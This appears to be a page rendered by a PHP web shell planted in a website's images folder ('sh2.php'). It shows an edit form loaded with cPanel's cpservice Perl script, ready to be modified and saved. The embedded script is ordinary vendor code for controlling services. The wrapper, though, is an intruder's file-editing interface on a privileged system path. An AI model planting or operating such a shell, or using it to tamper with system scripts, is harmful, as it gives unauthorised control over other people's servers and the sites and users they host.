<h2>Edit File - cpservice</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/cpservice">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/cpservice                       Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;
use Cpanel::Init;

my $init;
if ( exists $ENV{&#039;DEBUG&#039;} ) {

    # In debug mode choice of operating systems are:
    #     centos, redhat, rhel
    $init = Cpanel::Init-&gt;new( { &#039;os&#039; =&gt; $ENV{&#039;DEBUG&#039;} } );
}
else {
    $init = Cpanel::Init-&gt;new();    # Have the module figure out if the operating system is supported.
}

if ( scalar @ARGV &gt;= 2 &amp;&amp; ( $ARGV[1] =~ m/\binstall\b|\buninstall\b|\benable\b|\bdisable\b|\badd\b|\bremove\b/i ) ) {
    my $service   = shift @ARGV;
    my $command   = shift @ARGV;
    my $extra_arg = shift @ARGV;
    my $retval    = $init-&gt;run_command_for_one( $command, $service, $extra_arg );

    if ( ref $retval eq &#039;HASH&#039; ) {
        print $retval-&gt;{&#039;message&#039;} . &quot;\n&quot;;
        exit( !$retval-&gt;{&#039;status&#039;} );
    }
    elsif ($retval) {
        print $command . &#039; was successful&#039; . &quot;\n&quot;;
        exit(0);
    }
    else {
        print $command . &#039; failed&#039; . &quot;\n&quot;;
        exit(1);
    }
}
elsif ( scalar @ARGV == 2 ) {
    my $service = shift @ARGV;
    my $command = shift @ARGV;

    # extend securetmp runtime ( fix several cases related to securetmp #57407, #39252 )
    $init-&gt;maximum_time( 60 * 10 ) if $service eq &#039;securetmp&#039;;

    my $retval = $init-&gt;run_command( $service, $command );
    print &quot;Command failed: &quot; . $command . &quot;\n&quot; unless $retval-&gt;{&#039;status&#039;};
    print $retval-&gt;{&#039;message&#039;};

    # need to revert status code to convert into a system code
    #   0 -&gt; error ; 1 -&gt; success
    exit( $retval-&gt;{&#039;status&#039;} ? 0 : 1 );
}
else {
    usage();
}

sub usage {
    print &#039;Usage: &#039; . $init-&gt;prog_name() . &#039; [ service_name [ start | stop | status | ... ]] | [ service_name [ install | uninstall ]] | [ service_name [ enable [run_levels] | disable [run_levels]]]&#039; . &quot;\n&quot;;
}

__END__

=pod

=head1 NAME

cpservice - [Interact with initscripts that are cPanel managed]

=head1 USAGE

    cpservice [ service_name [ start | stop | status | ... ]] | [ service_name [ install | uninstall ]] | [ service_name [ enable|disable ]]

=head1 DESCRIPTION

    This script allows for the control of cPanel managed services. Its interface
    mimics the redhat service command but with more feature specific to cPanel.

=head1 USAGE EXAMPLES

=over 4

=item cpservice install

This command will install initscript in the correct directory
for the running operating system.

=item cpservice checkinstall

This command will configure the system to startup all cpanel managed services at boot up.

=item cpservice service_name command

This command will send the C&lt;command&gt; to the cpanel managed C&lt;service&gt;.

=back

=cut
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>